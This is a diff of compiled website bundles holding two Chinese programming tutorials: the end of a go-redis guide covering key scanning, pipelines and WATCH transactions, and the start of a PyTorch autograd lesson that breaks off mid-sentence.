"prefix*").Result()\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u4f46\u662f\u5982\u679c\u9700\u8981\u626b\u63cf\u6570\u767e\u4e07\u7684 key \uff0c\u90a3\u901f\u5ea6\u5c31\u4f1a\u6bd4\u8f83\u6162\u3002\u8fd9\u79cd\u573a\u666f\u4e0b\u4f60\u53ef\u4ee5\u4f7f\u7528Scan \u547d\u4ee4\u6765\u904d\u5386\u6240\u6709\u7b26\u5408\u8981\u6c42\u7684 key\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'// scanKeysDemo1 \u6309\u524d\u7f00\u67e5\u627e\u6240\u6709key\u793a\u4f8b\nfunc scanKeysDemo1() {\n\tctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)\n\tdefer cancel()\n\n\tvar cursor uint64\n\tfor {\n\t\tvar keys []string\n\t\tvar err error\n\t\t// \u6309\u524d\u7f00\u626b\u63cfkey\n\t\tkeys, cursor, err = rdb.Scan(ctx, cursor, "prefix:*", 0).Result()\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tfor _, key := range keys {\n\t\t\tfmt.Println("key", key)\n\t\t}\n\n\t\tif cursor == 0 { // no more keys\n\t\t\tbreak\n\t\t}\n\t}\n}\n'})}),"\n",(0,i.jsx)(n.p,{children:"Go-redis \u5141\u8bb8\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7b80\u5316\u4e3a\u5982\u4e0b\u793a\u4f8b\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'// scanKeysDemo2 \u6309\u524d\u7f00\u626b\u63cfkey\u793a\u4f8b\nfunc scanKeysDemo2() {\n\tctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)\n\tdefer cancel()\n\t// \u6309\u524d\u7f00\u626b\u63cfkey\n\titer := rdb.Scan(ctx, 0, "prefix:*", 0).Iterator()\n\tfor iter.Next(ctx) {\n\t\tfmt.Println("keys", iter.Val())\n\t}\n\tif err := iter.Err(); err != nil {\n\t\tpanic(err)\n\t}\n}\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u4f8b\u5982\uff0c\u6211\u4eec\u53ef\u4ee5\u5199\u51fa\u4e00\u4e2a\u5c06\u6240\u6709\u5339\u914d\u6307\u5b9a\u6a21\u5f0f\u7684 key \u5220\u9664\u7684\u793a\u4f8b\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:"// delKeysByMatch \u6309match\u683c\u5f0f\u626b\u63cf\u6240\u6709key\u5e76\u5220\u9664\nfunc delKeysByMatch(match string, timeout time.Duration) {\n\tctx, cancel := context.WithTimeout(context.Background(), timeout)\n\tdefer cancel()\n\n\titer := rdb.Scan(ctx, 0, match, 0).Iterator()\n\tfor iter.Next(ctx) {\n\t\terr := rdb.Del(ctx, iter.Val()).Err()\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}\n\tif err := iter.Err(); err != nil {\n\t\tpanic(err)\n\t}\n}\n"})}),"\n",(0,i.jsx)(n.p,{children:"\u6b64\u5916\uff0c\u5bf9\u4e8e Redis \u4e2d\u7684 set\u3001hash\u3001zset \u6570\u636e\u7c7b\u578b\uff0cgo-redis \u4e5f\u652f\u6301\u7c7b\u4f3c\u7684\u904d\u5386\u65b9\u6cd5\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'iter := rdb.SScan(ctx, "set-key", 0, "prefix:*", 0).Iterator()\niter := rdb.HScan(ctx, "hash-key", 0, "prefix:*", 0).Iterator()\niter := rdb.ZScan(ctx, "sorted-hash-key", 0, "prefix:*", 0).Iterator(\n'})}),"\n",(0,i.jsx)(n.h2,{id:"pipeline",children:"Pipeline"}),"\n",(0,i.jsx)(n.p,{children:"Redis Pipeline \u5141\u8bb8\u901a\u8fc7\u4f7f\u7528\u5355\u4e2a client-server-client \u5f80\u8fd4\u6267\u884c\u591a\u4e2a\u547d\u4ee4\u6765\u63d0\u9ad8\u6027\u80fd\u3002\u533a\u522b\u4e8e\u4e00\u4e2a\u63a5\u4e00\u4e2a\u5730\u6267\u884c100\u4e2a\u547d\u4ee4\uff0c\u4f60\u53ef\u4ee5\u5c06\u8fd9\u4e9b\u547d\u4ee4\u653e\u5165 pipeline \u4e2d\uff0c\u7136\u540e\u4f7f\u75281\u6b21\u8bfb\u5199\u64cd\u4f5c\u50cf\u6267\u884c\u5355\u4e2a\u547d\u4ee4\u4e00\u6837\u6267\u884c\u5b83\u4eec\u3002\u8fd9\u6837\u505a\u7684\u597d\u5904\u662f\u8282\u7701\u4e86\u6267\u884c\u547d\u4ee4\u7684\u7f51\u7edc\u5f80\u8fd4\u65f6\u95f4\uff08RTT\uff09\u3002"}),"\n",(0,i.jsx)(n.p,{children:"y\u5728\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u4e2d\u6f14\u793a\u4e86\u4f7f\u7528 pipeline \u901a\u8fc7\u4e00\u4e2a write + read \u64cd\u4f5c\u6765\u6267\u884c\u591a\u4e2a\u547d\u4ee4\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'pipe := rdb.Pipeline()\n\nincr := pipe.Incr(ctx, "pipeline_counter")\npipe.Expire(ctx, "pipeline_counter", time.Hour)\n\ncmds, err := pipe.Exec(ctx)\nif err != nil {\n\tpanic(err)\n}\n\n// \u5728\u6267\u884cpipe.Exec\u4e4b\u540e\u624d\u80fd\u83b7\u53d6\u5230\u7ed3\u679c\nfmt.Println(incr.Val())\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u4e0a\u9762\u7684\u4ee3\u7801\u76f8\u5f53\u4e8e\u5c06\u4ee5\u4e0b\u4e24\u4e2a\u547d\u4ee4\u4e00\u6b21\u53d1\u7ed9 Redis Server \u7aef\u6267\u884c\uff0c\u4e0e\u4e0d\u4f7f\u7528 Pipeline \u76f8\u6bd4\u80fd\u51cf\u5c11\u4e00\u6b21RTT\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-bash",children:"INCR pipeline_counter\nEXPIRE pipeline_counts 3600\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u6216\u8005\uff0c\u4f60\u4e5f\u53ef\u4ee5\u4f7f\u7528",(0,i.jsx)(n.code,{children:"Pipelined"})," \u65b9\u6cd5\uff0c\u5b83\u4f1a\u5728\u51fd\u6570\u9000\u51fa\u65f6\u8c03\u7528 Exec\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'var incr *redis.IntCmd\n\ncmds, err := rdb.Pipelined(ctx, func(pipe redis.Pipeliner) error {\n\tincr = pipe.Incr(ctx, "pipelined_counter")\n\tpipe.Expire(ctx, "pipelined_counter", time.Hour)\n\treturn nil\n})\nif err != nil {\n\tpanic(err)\n}\n\n// \u5728pipeline\u6267\u884c\u540e\u83b7\u53d6\u5230\u7ed3\u679c\nfmt.Println(incr.Val())\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u6211\u4eec\u53ef\u4ee5\u904d\u5386 pipeline \u547d\u4ee4\u7684\u8fd4\u56de\u503c\u4f9d\u6b21\u83b7\u53d6\u6bcf\u4e2a\u547d\u4ee4\u7684\u7ed3\u679c\u3002\u4e0b\u65b9\u7684\u793a\u4f8b\u4ee3\u7801\u4e2d\u4f7f\u7528pipiline\u4e00\u6b21\u6267\u884c\u4e86100\u4e2a Get \u547d\u4ee4\uff0c\u5728pipeline \u6267\u884c\u540e\u904d\u5386\u53d6\u51fa100\u4e2a\u547d\u4ee4\u7684\u6267\u884c\u7ed3\u679c\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'cmds, err := rdb.Pipelined(ctx, func(pipe redis.Pipeliner) error {\n\tfor i := 0; i < 100; i++ {\n\t\tpipe.Get(ctx, fmt.Sprintf("key%d", i))\n\t}\n\treturn nil\n})\nif err != nil {\n\tpanic(err)\n}\n\nfor _, cmd := range cmds {\n fmt.Println(cmd.(*redis.StringCmd).Val())\n}\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u5728\u90a3\u4e9b\u6211\u4eec\u9700\u8981\u4e00\u6b21\u6027\u6267\u884c\u591a\u4e2a\u547d\u4ee4\u7684\u573a\u666f\u4e0b\uff0c\u5c31\u53ef\u4ee5\u8003\u8651\u4f7f\u7528 pipeline \u6765\u4f18\u5316\u3002"}),"\n",(0,i.jsx)(n.h2,{id:"\u4e8b\u52a1",children:"\u4e8b\u52a1"}),"\n",(0,i.jsxs)(n.p,{children:["Redis \u662f\u5355\u7ebf\u7a0b\u6267\u884c\u547d\u4ee4\u7684\uff0c\u56e0\u6b64\u5355\u4e2a\u547d\u4ee4\u59cb\u7ec8\u662f\u539f\u5b50\u7684\uff0c\u4f46\u662f\u6765\u81ea\u4e0d\u540c\u5ba2\u6237\u7aef\u7684\u4e24\u4e2a\u7ed9\u5b9a\u547d\u4ee4\u53ef\u4ee5\u4f9d\u6b21\u6267\u884c\uff0c\u4f8b\u5982\u5728\u5b83\u4eec\u4e4b\u95f4\u4ea4\u66ff\u6267\u884c\u3002\u4f46\u662f\uff0c",(0,i.jsx)(n.code,{children:"Multi/exec"}),"\u80fd\u591f\u786e\u4fdd\u5728",(0,i.jsx)(n.code,{children:"multi/exec"}),"\u4e24\u4e2a\u8bed\u53e5\u4e4b\u95f4\u7684\u547d\u4ee4\u4e4b\u95f4\u6ca1\u6709\u5176\u4ed6\u5ba2\u6237\u7aef\u6b63\u5728\u6267\u884c\u547d\u4ee4\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:["\u5728\u8fd9\u79cd\u573a\u666f\u6211\u4eec\u9700\u8981\u4f7f\u7528 TxPipeline \u6216 TxPipelined \u65b9\u6cd5\u5c06 pipeline \u547d\u4ee4\u4f7f\u7528 ",(0,i.jsx)(n.code,{children:"MULTI"})," \u548c",(0,i.jsx)(n.code,{children:"EXEC"}),"\u5305\u88f9\u8d77\u6765\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'// TxPipeline demo\npipe := rdb.TxPipeline()\nincr := pipe.Incr(ctx, "tx_pipeline_counter")\npipe.Expire(ctx, "tx_pipeline_counter", time.Hour)\n_, err := pipe.Exec(ctx)\nfmt.Println(incr.Val(), err)\n\n// TxPipelined demo\nvar incr2 *redis.IntCmd\n_, err = rdb.TxPipelined(ctx, func(pipe redis.Pipeliner) error {\n\tincr2 = pipe.Incr(ctx, "tx_pipeline_counter")\n\tpipe.Expire(ctx, "tx_pipeline_counter", time.Hour)\n\treturn nil\n})\nfmt.Println(incr2.Val(), err)\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u4e0a\u9762\u4ee3\u7801\u76f8\u5f53\u4e8e\u5728\u4e00\u4e2aRTT\u4e0b\u6267\u884c\u4e86\u4e0b\u9762\u7684redis\u547d\u4ee4\uff1a"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-bash",children:"MULTI\nINCR pipeline_counter\nEXPIRE pipeline_counts 3600\nEXEC\n"})}),"\n",(0,i.jsx)(n.h3,{id:"watch",children:"Watch"}),"\n",(0,i.jsxs)(n.p,{children:["\u6211\u4eec\u901a\u5e38\u642d\u914d ",(0,i.jsx)(n.code,{children:"WATCH"}),"\u547d\u4ee4\u6765\u6267\u884c\u4e8b\u52a1\u64cd\u4f5c\u3002\u4ece\u4f7f\u7528",(0,i.jsx)(n.code,{children:"WATCH"}),"\u547d\u4ee4\u76d1\u89c6\u67d0\u4e2a key \u5f00\u59cb\uff0c\u76f4\u5230\u6267\u884c",(0,i.jsx)(n.code,{children:"EXEC"}),"\u547d\u4ee4\u7684\u8fd9\u6bb5\u65f6\u95f4\u91cc\uff0c\u5982\u679c\u6709\u5176\u4ed6\u7528\u6237\u62a2\u5148\u5bf9\u88ab\u76d1\u89c6\u7684 key \u8fdb\u884c\u4e86\u66ff\u6362\u3001\u66f4\u65b0\u3001\u5220\u9664\u7b49\u64cd\u4f5c\uff0c\u90a3\u4e48\u5f53\u7528\u6237\u5c1d\u8bd5\u6267\u884c",(0,i.jsx)(n.code,{children:"EXEC"}),"\u7684\u65f6\u5019\uff0c\u4e8b\u52a1\u5c06\u5931\u8d25\u5e76\u8fd4\u56de\u4e00\u4e2a\u9519\u8bef\uff0c\u7528\u6237\u53ef\u4ee5\u6839\u636e\u8fd9\u4e2a\u9519\u8bef\u9009\u62e9\u91cd\u8bd5\u4e8b\u52a1\u6216\u8005\u653e\u5f03\u4e8b\u52a1\u3002"]}),"\n",(0,i.jsx)(n.p,{children:"Watch\u65b9\u6cd5\u63a5\u6536\u4e00\u4e2a\u51fd\u6570\u548c\u4e00\u4e2a\u6216\u591a\u4e2akey\u4f5c\u4e3a\u53c2\u6570\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:"Watch(fn func(*Tx) error, keys ...string) error\n"})}),"\n",(0,i.jsx)(n.p,{children:"\u4e0b\u9762\u7684\u4ee3\u7801\u7247\u6bb5\u6f14\u793a\u4e86 Watch \u65b9\u6cd5\u642d\u914d TxPipelined \u7684\u4f7f\u7528\u793a\u4f8b\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:"// watchDemo \u5728key\u503c\u4e0d\u53d8\u7684\u60c5\u51b5\u4e0b\u5c06\u5176\u503c+1\nfunc watchDemo(ctx context.Context, key string) error {\n\treturn rdb.Watch(ctx, func(tx *redis.Tx) error {\n\t\tn, err := tx.Get(ctx, key).Int()\n\t\tif err != nil && err != redis.Nil {\n\t\t\treturn err\n\t\t}\n\t\t// \u5047\u8bbe\u64cd\u4f5c\u8017\u65f65\u79d2\n\t\t// 5\u79d2\u5185\u6211\u4eec\u901a\u8fc7\u5176\u4ed6\u7684\u5ba2\u6237\u7aef\u4fee\u6539key\uff0c\u5f53\u524d\u4e8b\u52a1\u5c31\u4f1a\u5931\u8d25\n\t\ttime.Sleep(5 * time.Second)\n\t\t_, err = tx.TxPipelined(ctx, func(pipe redis.Pipeliner) error {\n\t\t\tpipe.Set(ctx, key, n+1, time.Hour)\n\t\t\treturn nil\n\t\t})\n\t\treturn err\n\t}, key)\n}\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u5c06\u4e0a\u9762\u7684\u51fd\u6570\u6267\u884c\u5e76\u6253\u5370\u5176\u8fd4\u56de\u503c\uff0c\u5982\u679c\u6211\u4eec\u5728\u7a0b\u5e8f\u8fd0\u884c\u540e\u76845\u79d2\u5185\u4fee\u6539\u4e86\u88ab watch \u7684 key \u7684\u503c\uff0c\u90a3\u4e48\u8be5\u4e8b\u52a1\u64cd\u4f5c\u5931\u8d25\uff0c\u8fd4\u56de",(0,i.jsx)(n.code,{children:"redis: transaction failed"}),"\u9519\u8bef\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:["\u6700\u540e\u6211\u4eec\u6765\u770b\u4e00\u4e2a go-redis \u5b98\u65b9\u6587\u6863\u4e2d\u4f7f\u7528 ",(0,i.jsx)(n.code,{children:"GET"})," \u3001",(0,i.jsx)(n.code,{children:"SET"}),"\u548c",(0,i.jsx)(n.code,{children:"WATCH"}),"\u547d\u4ee4\u5b9e\u73b0\u4e00\u4e2a INCR \u547d\u4ee4\u7684\u5b8c\u6574\u793a\u4f8b\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'const routineCount = 100\n\nincrement := func(key string) error {\n\ttxf := func(tx *redis.Tx) error {\n\t\t// \u83b7\u5f97\u5f53\u524d\u503c\u6216\u96f6\u503c\n\t\tn, err := tx.Get(key).Int()\n\t\tif err != nil && err != redis.Nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// \u5b9e\u9645\u64cd\u4f5c\uff08\u4e50\u89c2\u9501\u5b9a\u4e2d\u7684\u672c\u5730\u64cd\u4f5c\uff09\n\t\tn++\n\n\t\t// \u4ec5\u5728\u76d1\u89c6\u7684Key\u4fdd\u6301\u4e0d\u53d8\u7684\u60c5\u51b5\u4e0b\u8fd0\u884c\n\t\t_, err = tx.Pipelined(func(pipe redis.Pipeliner) error {\n\t\t\t// pipe \u5904\u7406\u9519\u8bef\u60c5\u51b5\n\t\t\tpipe.Set(key, n, 0)\n\t\t\treturn nil\n\t\t})\n\t\treturn err\n\t}\n\n\tfor retries := routineCount; retries > 0; retries-- {\n\t\terr := rdb.Watch(txf, key)\n\t\tif err != redis.TxFailedErr {\n\t\t\treturn err\n\t\t}\n\t\t// \u4e50\u89c2\u9501\u4e22\u5931\n\t}\n\treturn errors.New("increment reached maximum number of retries")\n}\n\nvar wg sync.WaitGroup\nwg.Add(routineCount)\nfor i := 0; i < routineCount; i++ {\n\tgo func() {\n\t\tdefer wg.Done()\n\n\t\tif err := increment("counter3"); err != nil {\n\t\t\tfmt.Println("increment error:", err)\n\t\t}\n\t}()\n}\nwg.Wait()\n\nn, err := rdb.Get("counter3").Int()\nfmt.Println("ended with", n, err)\n'})}),"\n",(0,i.jsxs)(n.p,{children:["\u5728\u8fd9\u4e2a\u793a\u4f8b\u4e2d\u4f7f\u7528\u4e86 ",(0,i.jsx)(n.code,{children:"redis.TxFailedErr"})," \u6765\u68c0\u67e5\u4e8b\u52a1\u662f\u5426\u5931\u8d25\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:["\u66f4\u591a\u8be6\u60c5\u8bf7\u67e5\u9605",(0,i.jsx)(n.a,{href:"https://pkg.go.dev/github.com/go-redis/redis",children:"\u6587\u6863"}),"\u3002"]})]})}function x(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/d2815156.bed8a06f.js b/en/assets/js/d2815156.bed8a06f.js new file mode 100644 index 0000000..f07de02 --- /dev/null +++ b/en/assets/js/d2815156.bed8a06f.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5155],{24060:(n,e,r)=>{r.r(e),r.d(e,{assets:()=>l,contentTitle:()=>t,default:()=>h,frontMatter:()=>s,metadata:()=>a,toc:()=>i});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc","title":"2.2 \u81ea\u52a8\u6c42\u5bfc.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"2.1 \u5f20\u91cf.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf"},"next":{"title":"2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb"}}');var d=r(74848),c=r(28453);const s={},t="2.2 \u81ea\u52a8\u6c42\u5bfc.md",l={},i=[{value:"Autograd\u7b80\u4ecb",id:"autograd\u7b80\u4ecb",level:2},{value:"2.2.1 \u68af\u5ea6",id:"221-\u68af\u5ea6",level:2}];function o(n){const e={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...n.components};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(e.header,{children:(0,d.jsx)(e.h1,{id:"22-\u81ea\u52a8\u6c42\u5bfcmd",children:"2.2 \u81ea\u52a8\u6c42\u5bfc.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(e.table,{children:[(0,d.jsx)(e.thead,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,d.jsx)(e.tbody,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{style:{textAlign:"left"},children:(0,d.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,d.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(e.table,{children:[(0,d.jsx)(e.thead,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,d.jsx)(e.tbody,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{style:{textAlign:"left"},children:(0,d.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,d.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,d.jsx)(e.h1,{id:"22-\u81ea\u52a8\u6c42\u5bfc",children:"2.2 \u81ea\u52a8\u6c42\u5bfc"}),"\n",(0,d.jsxs)(e.p,{children:["PyTorch \u4e2d\uff0c\u6240\u6709\u795e\u7ecf\u7f51\u7edc\u7684\u6838\u5fc3\u662f ",(0,d.jsx)(e.code,{children:"autograd "}),"\u5305\u3002autograd\u5305\u4e3a\u5f20\u91cf\u4e0a\u7684\u6240\u6709\u64cd\u4f5c\u63d0\u4f9b\u4e86\u81ea\u52a8\u6c42\u5bfc\u673a\u5236\u3002\u5b83\u662f\u4e00\u4e2a\u5728\u8fd0\u884c\u65f6\u5b9a\u4e49 ( define-by-run \uff09\u7684\u6846\u67b6\uff0c\u8fd9\u610f\u5473\u7740\u53cd\u5411\u4f20\u64ad\u662f\u6839\u636e\u4ee3\u7801\u5982\u4f55\u8fd0\u884c\u6765\u51b3\u5b9a\u7684\uff0c\u5e76\u4e14\u6bcf\u6b21\u8fed\u4ee3\u53ef\u4ee5\u662f\u4e0d\u540c\u7684\u3002"]}),"\n",(0,d.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsx)(e.li,{children:"autograd\u7684\u6c42\u5bfc\u673a\u5236"}),"\n",(0,d.jsx)(e.li,{children:"\u68af\u5ea6\u7684\u53cd\u5411\u4f20\u64ad"}),"\n"]}),"\n",(0,d.jsx)(e.h2,{id:"autograd\u7b80\u4ecb",children:"Autograd\u7b80\u4ecb"}),"\n",(0,d.jsxs)(e.p,{children:[(0,d.jsx)(e.code,{children:"torch.Tensor "}),"\u662f\u8fd9\u4e2a\u5305\u7684\u6838\u5fc3\u7c7b\u3002\u5982\u679c\u8bbe\u7f6e\u5b83\u7684\u5c5e\u6027",(0,d.jsx)(e.code,{children:" .requires_grad"})," \u4e3a ",(0,d.jsx)(e.code,{children:"True"}),"\uff0c\u90a3\u4e48\u5b83\u5c06\u4f1a\u8ffd\u8e2a\u5bf9\u4e8e\u8be5\u5f20\u91cf\u7684\u6240\u6709\u64cd\u4f5c\u3002\u5f53\u5b8c\u6210\u8ba1\u7b97\u540e\u53ef\u4ee5\u901a\u8fc7\u8c03\u7528",(0,d.jsx)(e.code,{children:" .backward()"}),"\uff0c\u6765\u81ea\u52a8\u8ba1\u7b97\u6240\u6709\u7684\u68af\u5ea6\u3002\u8fd9\u4e2a\u5f20\u91cf\u7684\u6240\u6709\u68af\u5ea6\u5c06\u4f1a\u81ea\u52a8\u7d2f\u52a0\u5230",(0,d.jsx)(e.code,{children:".grad"}),"\u5c5e\u6027\u3002"]}),"\n",(0,d.jsx)(e.p,{children:"\u6ce8\u610f\uff1a\u5728 y.backward() \u65f6\uff0c\u5982\u679c y \u662f\u6807\uf97e\uff0c\u5219\u4e0d\u9700\u8981\u4e3a backward() \u4f20\u5165\u4efb\u4f55\u53c2\u6570\uff1b\u5426\u5219\uff0c\u9700\u8981\u4f20\u5165\u4e00\u4e2a\u4e0e y \u540c\u5f62\u7684Tensor\u3002"}),"\n",(0,d.jsxs)(e.p,{children:["\u8981\u963b\u6b62\u4e00\u4e2a\u5f20\u91cf\u88ab\u8ddf\u8e2a\u5386\u53f2\uff0c\u53ef\u4ee5\u8c03\u7528",(0,d.jsx)(e.code,{children:".detach()"}),"\u65b9\u6cd5\u5c06\u5176\u4e0e\u8ba1\u7b97\u5386\u53f2\u5206\u79bb\uff0c\u5e76\u963b\u6b62\u5b83\u672a\u6765\u7684\u8ba1\u7b97\u8bb0\u5f55\u88ab\u8ddf\u8e2a\u3002\u4e3a\u4e86\u9632\u6b62\u8ddf\u8e2a\u5386\u53f2\u8bb0\u5f55(\u548c\u4f7f\u7528\u5185\u5b58\uff09\uff0c\u53ef\u4ee5\u5c06\u4ee3\u7801\u5757\u5305\u88c5\u5728 ",(0,d.jsx)(e.code,{children:"with torch.no_grad(): "}),"\u4e2d\u3002\u5728\u8bc4\u4f30\u6a21\u578b\u65f6\u7279\u522b\u6709\u7528\uff0c\u56e0\u4e3a\u6a21\u578b\u53ef\u80fd\u5177\u6709 ",(0,d.jsx)(e.code,{children:"requires_grad = True"})," \u7684\u53ef\u8bad\u7ec3\u7684\u53c2\u6570\uff0c\u4f46\u662f\u6211\u4eec\u4e0d\u9700\u8981\u5728\u6b64\u8fc7\u7a0b\u4e2d\u5bf9\u4ed6\u4eec\u8fdb\u884c\u68af\u5ea6\u8ba1\u7b97\u3002"]}),"\n",(0,d.jsxs)(e.p,{children:["\u8fd8\u6709\u4e00\u4e2a\u7c7b\u5bf9\u4e8e",(0,d.jsx)(e.code,{children:"autograd"}),"\u7684\u5b9e\u73b0\u975e\u5e38\u91cd\u8981\uff1a",(0,d.jsx)(e.code,{children:"Function"}),"\u3002",(0,d.jsx)(e.code,{children:"Tensor "}),"\u548c",(0,d.jsx)(e.code,{children:" Function"})," \u4e92\u76f8\u8fde\u63a5\u751f\u6210\u4e86\u4e00\u4e2a\u65e0\u73af\u56fe (acyclic graph)\uff0c\u5b83\u7f16\u7801\u4e86\u5b8c\u6574\u7684\u8ba1\u7b97\u5386\u53f2\u3002\u6bcf\u4e2a\u5f20\u91cf\u90fd\u6709\u4e00\u4e2a",(0,d.jsx)(e.code,{children:".grad_fn"}),"\u5c5e\u6027\uff0c\u8be5\u5c5e\u6027\u5f15\u7528\u4e86\u521b\u5efa ",(0,d.jsx)(e.code,{children:"Tensor "}),"\u81ea\u8eab\u7684",(0,d.jsx)(e.code,{children:"Function"}),"(\u9664\u975e\u8fd9\u4e2a\u5f20\u91cf\u662f\u7528\u6237\u624b\u52a8\u521b\u5efa\u7684\uff0c\u5373\u8fd9\u4e2a\u5f20\u91cf\u7684",(0,d.jsx)(e.code,{children:"grad_fn"}),"\u662f ",(0,d.jsx)(e.code,{children:"None"})," )\u3002\u4e0b\u9762\u7ed9\u51fa\u7684\u4f8b\u5b50\u4e2d\uff0c\u5f20\u91cf\u7531\u7528\u6237\u624b\u52a8\u521b\u5efa\uff0c\u56e0\u6b64grad_fn\u8fd4\u56de\u7ed3\u679c\u662fNone\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"from __future__ import print_function\nimport torch\nx = torch.randn(3,3,requires_grad=True)\nprint(x.grad_fn)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"None\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u5982\u679c\u9700\u8981\u8ba1\u7b97\u5bfc\u6570\uff0c\u53ef\u4ee5\u5728 ",(0,d.jsx)(e.code,{children:"Tensor"})," \u4e0a\u8c03\u7528 ",(0,d.jsx)(e.code,{children:".backward()"}),"\u3002\u5982\u679c",(0,d.jsx)(e.code,{children:" Tensor"})," 